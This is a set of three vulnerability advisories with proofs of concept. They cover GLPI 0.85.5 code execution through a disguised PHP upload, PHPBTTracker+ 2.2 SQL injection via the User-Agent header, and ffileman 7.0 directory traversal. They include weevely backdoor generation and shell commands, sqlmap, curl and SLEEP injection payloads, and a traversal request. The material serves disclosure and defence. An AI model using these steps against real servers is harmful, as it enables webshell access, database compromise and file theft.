GLPI v0.85.5, RCE through file upload filter bypass

# Author: Raffaele Forte
# Vendor Homepage: http://www.glpi-project.org/
# Software Link: https://forge.glpi-project.org/attachments/download/2093/glpi-0.85.5.tar.gz
# Version: GLPI v0.85.5
# Tested on: CentOS release 6.7 (Final), PHP 5.3.3

 

I. INTRODUCTION

GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers…). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a
database with basic information about your network-topology.

 

II. DESCRIPTION

The application allows users to upgrade their own profile. The user has the possibility to add a new photo as attachment.

The photo that he uploads will be stored into “GLPI_ROOT/files/_pictures/”.

This file, for example named “photo.jpeg”, will be directly accessible through “http://host/GLPI_ROOT/files/_pictures/XXXX.jpeg”, where “XXXX” is an ID automatically generated by the system and visible in the HTML
source code.

Besides, the server does not check the extension of the uploaded file, but only the first bytes within it, that indicates which kind of file is.

Exploiting this flaw, an attacker may upload a tampered jpeg file that contains php code placed at the end of the file, so that, just changing the file extention to “.php”, by default the php code will be interpreted!

To trigger this vulnerability it is necessary to have an account.

This vulnerability is a combination of two issues:

  • predictable uploaded file names and path
  • upload of any kind of file, not limited to images

 

III. PROOF OF CONCEPT

Generate backdoor:

user@backbox:~$ weevely generate pass123 /tmp/bd.php
user@backbox:~$ file /tmp/photo.jpeg 
/tmp/photo.jpeg: JPEG image data, JFIF standard 1.02
user@backbox:~$ cat /tmp/bd.php >> /tmp/photo.jpeg
user@backbox:~$ mv /tmp/photo.jpeg /tmp/photo.php

Upload the new tampered photo in GLPI > Settings

Run terminal to the target:

user@backbox:~$ weevely http://host/GLPI_ROOT/files/_pictures/XXXX.php pass123

 

IV. BUSINESS IMPACT

By uploading a interpretable php file, an attacker may be able to execute arbitrary code on the server.

This flaw may compromise the integrity of the system and/or expose sensitive information.

 

V. SYSTEMS AFFECTED

GLPI Version 0.85.5 is vulnerable (probably all previous versions)

 

VI. VULNERABILITY HISTORY

September 7th, 2015: Vulnerability identification
September 25th, 2015: Vendor notification

 

VII. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.

PHPBTTracker+ v2.2, SQL Injection

# Exploit Author: BackBox Team
# Vendor Homepage: http://phpbttrkplus.sourceforge.net/
# Software Link: http://sourceforge.net/projects/phpbttrkplus/files/
# Version: PHPBTTracker+ v2.2
# Tested on: PHP 5.4.27, Apache 2.4.9, MySQL >= 5.0.0

 

I. INTRODUCTION

SQL Injection through User-Agent.

User agent is an HTTP header section provided by application used by the original client. This is used for statistical purposes and the protocol violation tracing. The first white space delimited word must include the product name with an optional slash and version number.

User agent injection is a critical issue for web applications. In this specific case it’s worthed to do an investigation on the header section of user-agent to see if there is any malformation that will allow an SQLi.

Example:

GET /tracker.php
User-Agent: Transmission/2.51' OR (SLEEP(20)) AND 'aaaa'='aaaa
Host: [host]
Accept: */*
Accept-Encoding: gzip;q=1.0, deflate, identity

 

II. BACKGROUND

BitTorrent tracker protocol is used by clients to request the IP addresses of other peers associated with a torrent, and to exchange the client’s transfer statistics. Clients connect to a centralized server, known as a *tracker*, which stores their IP addresses and responds with the IP addresses of other clients (also known as *peers*). The tracker has no knowledge about the association of the nodes and their pieces (it functions only as bridge between clients).

The standard tracker protocol is based on HTTP, with request data encoded as query parameters (as used by HTML forms) and response data BEncoded.

Query parameters must be encoded according to the rules for HTML form submissions through HTTP GET: ‘reserved character’ bytes are encoded in hexadecimal as %HH, and space is encoded as “+”; names and values are joined with “=” and the pairs joined with “&”.

The tracker’s URL announce is obtained from the announce entry of the root dictionary of the torrent metadata file.

Clients announce themselves by sending a GET request to the tracker’s URL announce with “?” and the following parameters (encoded as above) appended:

info_hash
The 20 byte sha1 hash of the bencoded form of the info value from the metainfo file. Note that this is a substring of the metainfo file. Don’t forget to URL-encode this.

peer_id
A string of length 20 which the downloader uses as its id. Each downloader generates its own id at random at the start of a new download. Don’t forget to URL-encode this.

port
Port number that the peer is listening on. Common behavior is for a downloader to try to listen on port 6881 and if that port is taken try 6882, then 6883, etc. and give up after 6889.

uploaded
Total amount uploaded so far, represented in base ten in ASCII.

downloaded
Total amount downloaded so far, represented in base ten in ASCII.

left
Number of bytes that a specific client still has to download, represented in base ten in ASCII. Note that this can’t be computed from downloaded and the file length since the client might be resuming an earlier download, and there is a chance that some of the downloaded data failed an integrity check and had to be re-downloaded.

event
Optional key which maps to started, completed, or stopped (or empty, which is the same as not being present). If not present, this is one of the announcements done at regular intervals. An announcement using started is sent when a download first begins, and one using completed is sent when the download is complete. No completed is
sent if the file was complete when started. Downloaders should send an announcement using ‘stopped’ when they cease downloading, if they can.

Example:

http://hostname/announce
?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4
&peer_id=
&port=51413
&uploaded=0
&downloaded=0
&left=0
&event=started

 

III. DESCRIPTION

In order to exploit the vulnerability the torrent has to be managed by the tracker. First we need to extract the GET request, and parse out the parameter “info_hash”, a proxy or a traffic sniffer like Wireshark can help us to do that.

Example:

GET /phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started HTTP/1.1
User-Agent: Transmission/2.51
Host: hostname
Accept: */*
Accept-Encoding: gzip;q=1.0, deflate, identity

Then it’s possible to inject SQL commands inside the User-Agent field.

 

IV. PROOF OF CONCEPT

Is it possible to verify the vulnerability by using, for example, sqlmap or curl…

* Using SQLMap

raffaele@backbox:~$ sqlmap -u "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -o --level 3 -p user-agent

User-Agent parameter 'User-Agent' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 318 HTTP(s) requests:

Place: User-Agent
Parameter: User-Agent
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: sqlmap/1.0-dev-0f581cc (http://sqlmap.org)" RLIKE (SELECT (CASE WHEN (6960=6960) THEN 0x73716c6d61702f312e302d6465762d306635383163632028687474703a2f2f73716c6d61702e6f726729 ELSE 0x28 END)) AND "mhBW"="mhBW

* Using curl

raffaele@backbox:~$ curl "http://hostname/phpbttrkplus-2.2/tracker.php/announce?info_hash=%ffq%de%ea%00a%bab%8cC%fb%fe%e6%00uX%c5%92%7d%d4&peer_id=&port=51413&uploaded=0&downloaded=0&left=0&event=started" -A 'asd" OR (SLEEP(15)) AND "'
[...]
d8:intervali1800e12:min intervali300e5:peersld2:ip9:127.0.0.17:peer id20:4:porti51413eed2:ip9:127.0.0.17:peer id20:04:porti51413eee10:tracker id4:1131e

 

V. BUSINESS IMPACT

An attacker could execute arbitrary SQL queries on the vulnerable system. This may compromise the integrity of database and/or expose sensitive information.

 

VI. SYSTEMS AFFECTED

PHPBTTracker+ Version 2.2 is vulnerable (probably v2.x and RivetTracker v1.x too)

 

VII. REFERENCES

  • http://resources.infosecinstitute.com/sql-injection-http-headers
  • https://wiki.theory.org/BitTorrent_Tracker_Protocol

 

VIII. CREDITS

The vulnerability has been discovered by BackBox Linux Team

 

IX. VULNERABILITY HISTORY

May 13th, 2014: Vulnerability identification
May ??th, 2014: Vendor notification
May ??th, 2014: Vulnerability disclosure

 

X. LEGAL NOTICES

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.

ffileman v7.0, Directory Traversal Vulnerability

# Author: Raffaele Forte
# Vendor Homepage: https://f-fileman.sourceforge.io/
# Version: ffileman v7.0
# Tested on: Linux

 

I. DESCRIPTION

Directory traversal vulnerabilities has been found in ffileman 7.0 a web based file and directory manager written with Perl.

The vulnerability can be exploited to access local files by entering special characters in variables used to create file paths. The attackers use “../” sequences to move up to root directory, thus permitting navigation through the file system.

The issue discovered can only be exploited with an authenticated session and setting the variable “direkt” like below with a HTTP GET or POST request.

 

Request:

GET http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=../../../../../../../../&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory HTTP/1.1
Host: [webserver IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=[original path]&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory

 

VI. VULNERABILITY HISTORY
July 17th, 2009: Fixed with version 8.0

 

VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuseof this information.